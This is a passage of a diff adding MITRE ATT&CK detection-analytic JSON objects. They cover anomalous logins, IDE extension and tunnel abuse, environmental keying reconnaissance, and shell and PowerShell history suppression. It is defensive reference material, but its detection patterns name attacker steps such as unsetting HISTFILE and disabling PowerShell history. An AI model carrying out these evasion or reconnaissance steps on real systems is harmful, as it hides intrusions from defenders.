"UserContext", + "description": "Identify logins to root or sudoers not aligned with normal usage profiles." + }, + { + "field": "HostDensityThreshold", + "description": "Number of unique systems a user authenticates to in a time window." + }, + { + "field": "LoginMethod", + "description": "Trigger on rarely used access methods such as password instead of SSH key." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d059a437-bf45-4b10-a36c-7e42e183d3c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0560#AN1545", + "external_id": "AN1545" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1545", + "description": "Detection of interactive and remote logins by service accounts or users at unusual times, with unexpected child process activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "loginwindow, sshd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LoginOrigin", + "description": "Login sourced from unexpected remote addresses." + }, + { + "field": "ProcessTreeDepth", + "description": "Track execution depth or anomalous chains post-login." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aa255cdc-0b49-4ad3-951d-eab5582da56f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0560#AN1546", + "external_id": "AN1546" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1546", + "description": "Detection of valid account abuse in IdP logs via geographic anomalies, impossible travel, risky sign-ins, and multiple MFA attempts or failures.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:okta", + "channel": "Sign-in logs / audit events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MFAFailureCount", + "description": "Threshold of failed MFA attempts before alerting." + }, + { + "field": "RiskScoreThreshold", + "description": "Custom threshold based on calculated identity risk." + }, + { + "field": "IPGeoVelocity", + "description": "Detect impossible travel (logins from two distant geolocations within short time)." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc062a09-572e-41fc-bfff-f654751a6a0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0560#AN1547", + "external_id": "AN1547" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1547", + "description": "Detection of containerized service accounts or compromised kubeconfigs being used for cluster access from unexpected nodes or IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "kubernetes:audit", + "channel": "authentication.k8s.io" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceAccountScope", + "description": "Validate access from expected namespaces only." + }, + { + "field": "ClusterIPWhitelist", + "description": "Permit kubeconfig usage from a limited set of IPs." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--539a4182-ab9e-4abf-a83b-f30cf2dec770", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0561#AN1548", + "external_id": "AN1548" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1548", + "description": "Adversary installs or side-loads an IDE extension (VS Code, IntelliJ/JetBrains, Eclipse) or enables IDE tunneling. Chain: (1) IDE binary starts on a non-developer endpoint or server, often with install/force/tunnel flags \u2192 (2) extension files/registrations appear under user profile \u2192 (3) browser/IDE initiates outbound connections to extension marketplaces, update endpoints, or IDE remote/tunnel services \u2192 (4) optional child tools (ssh, node, powershell) execute under the IDE context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IDEList", + "description": "Executable names/paths (e.g., code.exe, idea64.exe, eclipse.exe, jetbrains-gateway.exe) vary by version and packaging." + }, + { + "field": "SuspiciousCLI", + "description": "Flags such as --install-extension, --force, --disable-extensions, --user-data-dir, --uninstall-extension, tunnel/remote flags are tunable." + }, + { + "field": "ServerZones", + "description": "List of hosts where IDEs should never run (prod servers, DCs)." + }, + { + "field": "AllowedHosts", + "description": "Approved extension marketplaces/ide services; use to suppress benign traffic." + }, + { + "field": "TimeWindow", + "description": "Correlation horizon (e.g., 15\u201330m) between process start, file writes, and outbound IDE/tunnel connections." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4dff3c9a-4730-46de-af2f-dfa86b249167", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0561#AN1549", + "external_id": "AN1549" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1549", + "description": "Adversary installs or abuses IDE extensions via CLI or direct write to profile directories and then communicates with marketplaces or remote tunnel services. Chain: auditd execve (code/idea/eclipse) with install/update flags or writes under ~/.vscode/extensions, ~/.config/JetBrains \u2192 outbound flows to *.visualstudio.com, marketplace.visualstudio.com, *.jetbrains.com, githubusercontent.com, or SSH/WebSocket tunnel endpoints \u2192 optional ssh/node processes spawned by IDE.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open,creat,rename,write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Connections from IDE hosts to marketplace/tunnel domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IDEPaths", + "description": "Per-distro/profile extension directories differ; tune for Chromium/JetBrains snap/flatpak paths." + }, + { + "field": "DomainAllowlist", + "description": "Enterprise-approved repos and proxies to reduce FPs." + }, + { + "field": "UserRoleScope", + "description": "Limit to non-developer users or production servers." + }, + { + "field": "TimeWindow", + "description": "Join horizon across file, process, and network telemetry." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--77d3146f-2066-40a9-872e-ec05d7a4d6d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0561#AN1550", + "external_id": "AN1550" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1550", + "description": "Adversary adds IDE extensions or plugins (VS Code, JetBrains Toolbox/EAP, Eclipse) via GUI or CLI, possibly via managed profiles. Chain: process start with install/update flags \u2192 plist/extension folder changes under ~/Library/Application Support/Code or ~/Library/Application Support/JetBrains \u2192 outbound connections to marketplaces/tunnel services \u2192 optional helper (ssh/node) spawned.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "Outbound connections from IDE processes to marketplace/tunnel domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistLocations", + "description": "Per-app preference domains and plugin directories vary by version." + }, + { + "field": "MDMProfiles", + "description": "If MDM installs extensions, allowlist those events to avoid FPs." + }, + { + "field": "TimeWindow", + "description": "Correlation range between install and first beacon." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8089daf3-72b0-4714-b800-2856f27dc21c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0562#AN1551", + "external_id": "AN1551" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1551", + "description": "Windows environmental validation behavioral chain: (1) Rapid system discovery reconnaissance through WMI queries, registry enumeration, and network share discovery, (2) Environment-specific artifact collection (hostname, domain, IP addresses, installed software, hardware identifiers), (3) Cryptographic operations or conditional logic based on collected environmental values, (4) Selective payload execution contingent on environmental validation results, (5) Temporal correlation between discovery activities and subsequent execution or network communication", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4648" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "name": "WinEventLog:WMI", + "channel": "EventCode=5857, 5860, 5861" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DiscoveryTimeWindow", + "description": "Maximum time window for correlating multiple discovery activities indicating reconnaissance phase - adjust based on normal system behavior (default: 300 seconds)" + }, + { + "field": "DiscoveryActivityThreshold", + "description": "Minimum number of different discovery techniques within time window to trigger detection - balance between false positives and coverage (default: 4 activities)" + }, + { + "field": "CryptographicLibraryWhitelist", + "description": "Approved cryptographic libraries and modules for legitimate organizational use - maintain based on approved software inventory" + }, + { + "field": "WMIQueryComplexityThreshold", + "description": "Complexity score for WMI queries indicating reconnaissance vs. legitimate administration - tune based on administrative patterns" + }, + { + "field": "EnvironmentalArtifactList", + "description": "Environment-specific values commonly targeted by guardrails (hostnames, domains, network shares) - customize for organizational environment" + }, + { + "field": "ExecutionDelayBaseline", + "description": "Statistical baseline for normal delay between discovery and execution activities - establish through historical analysis" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--31027842-f02c-4bc3-8cd6-3e4b533da5ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0562#AN1552", + "external_id": "AN1552" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1552", + "description": "Linux environmental validation behavioral chain: (1) Intensive system enumeration through command execution (uname, hostname, ifconfig, lsblk, mount), (2) File system reconnaissance targeting specific paths, network configurations, and installed packages, (3) Process and user enumeration to validate target environment characteristics, (4) Conditional script execution or binary activation based on environmental criteria, (5) Network connectivity validation and external IP address resolution for geolocation verification", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "openat,connect -k discovery" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:PROCTITLE", + "channel": "command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "linux:syslog", + "channel": "authentication and authorization events during environmental validation phase" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SystemDiscoveryCommandList", + "description": "Linux commands commonly used for system reconnaissance - customize based on environment-specific discovery patterns" + }, + { + "field": "ReconnaissanceBurstThreshold", + "description": "Number of discovery commands within time window indicating reconnaissance burst - tune based on legitimate administrative activity" + }, + { + "field": "EnvironmentalCheckPatterns", + "description": "File paths and system properties commonly validated by environmental keying - adapt to organizational infrastructure" + }, + { + "field": "NetworkDiscoveryBaseline", + "description": "Normal network discovery activity patterns to distinguish from malicious reconnaissance" + }, + { + "field": "ConditionalExecutionIndicators", + "description": "Script patterns and conditional logic indicating environment-based execution decisions" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--65abf5f4-ddb9-4eac-a926-1bef5d6b5c63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0562#AN1553", + "external_id": "AN1553" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1553", + "description": "macOS environmental validation behavioral chain: (1) System profiling through system_profiler, sysctl, and hardware discovery commands, (2) Network interface and configuration enumeration for geolocation and network environment validation, (3) Application installation and version discovery for software environment fingerprinting, (4) Security feature detection (SIP, Gatekeeper, XProtect status), (5) Conditional payload execution based on macOS-specific environmental criteria and System Integrity Protection bypass validation", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fileevents", + "channel": "File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacOSDiscoveryTools", + "description": "macOS-specific system discovery utilities commonly used for environmental validation" + }, + { + "field": "SecurityFeatureEnumeration", + "description": "Security features and configurations typically validated by macOS execution guardrails" + }, + { + "field": "HardwareFingerprintBaseline", + "description": "Normal hardware discovery patterns to distinguish from environmental validation attempts" + }, + { + "field": "SIPBypassIndicators", + "description": "Patterns indicating attempts to validate or bypass System Integrity Protection" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1cd8c844-575a-44be-9fee-80cd988dc781", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0562#AN1554", + "external_id": "AN1554" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1554", + "description": "ESXi hypervisor environmental validation behavioral chain: (1) Virtual machine inventory and configuration enumeration through vim-cmd and esxcli commands, (2) Host hardware and network configuration discovery for hypervisor environment validation, (3) Datastore and storage configuration reconnaissance, (4) vCenter connectivity and cluster membership validation, (5) Selective malware deployment based on virtualization infrastructure characteristics and target VM validation", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:hostd", + "channel": "host daemon events related to VM operations and configuration queries during reconnaissance" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ESXiDiscoveryCommands", + "description": "ESXi commands commonly used for hypervisor and VM reconnaissance" + }, + { + "field": "VMInventoryEnumerationThreshold", + "description": "Number of VM inventory queries within time window indicating reconnaissance activity" + }, + { + "field": "HypervisorEnvironmentBaseline", + "description": "Normal hypervisor management activity patterns for distinguishing malicious reconnaissance" + }, + { + "field": "DatastoreAccessPatterns", + "description": "Unusual datastore access patterns indicating environmental validation or target selection" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1f69e126-e849-43a1-9fca-b5c63a154daa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0563#AN1555", + "external_id": "AN1555" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1555", + "description": "Detection of environment variable tampering (HISTFILE, HISTCONTROL, HISTFILESIZE) and absence of expected bash history writes. Correlation of unset or zeroed history variables with active shell sessions is indicative of adversarial evasion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve calls modifying HISTFILE or HISTCONTROL via unset/export" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "processes modifying environment variables related to history logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredUsers", + "description": "Specific accounts or groups where history logging must always be enforced." + }, + { + "field": "TimeWindow", + "description": "Correlation period to detect unset/export of history variables during active shells." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2a5f1993-7035-4d94-b9d1-7edb1850d4e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0563#AN1556", + "external_id": "AN1556" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1556", + "description": "Detection of bash/zsh history suppression via HISTFILE/HISTCONTROL manipulation and absence of ~/.bash_history updates. Observing environment variable changes tied to terminal processes is a strong indicator.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Set or unset HIST* variables in shell environment" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShellProfiles", + "description": "Different shells (bash, zsh, fish) may require customized monitoring for history tampering." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--91870bc8-3a81-4d90-84e4-26c99b5642ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0563#AN1557", + "external_id": "AN1557" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1557", + "description": "Detection of PowerShell history suppression using Set-PSReadLineOption with SaveNothing or altered HistorySavePath. Correlating these options with PowerShell usage highlights adversarial evasion attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedPaths", + "description": "List of acceptable PowerShell history save paths for baseline comparison." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8ed1a27f-3a60-441d-b92d-dc7b086db459", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0563#AN1558", + "external_id": "AN1558" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1558", + "description": "Detection of unset HISTFILE or modified history variables in ESXi shell sessions. Correlation of suspicious shell sessions with no recorded commands despite active usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "unset HISTFILE or HISTFILESIZE modifications" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminSessions", + "description": "Differentiate root/admin shell sessions from adversarial misuse of ESXi shell." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--77450309-6789-4025-9817-d908c4ac9e5b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + 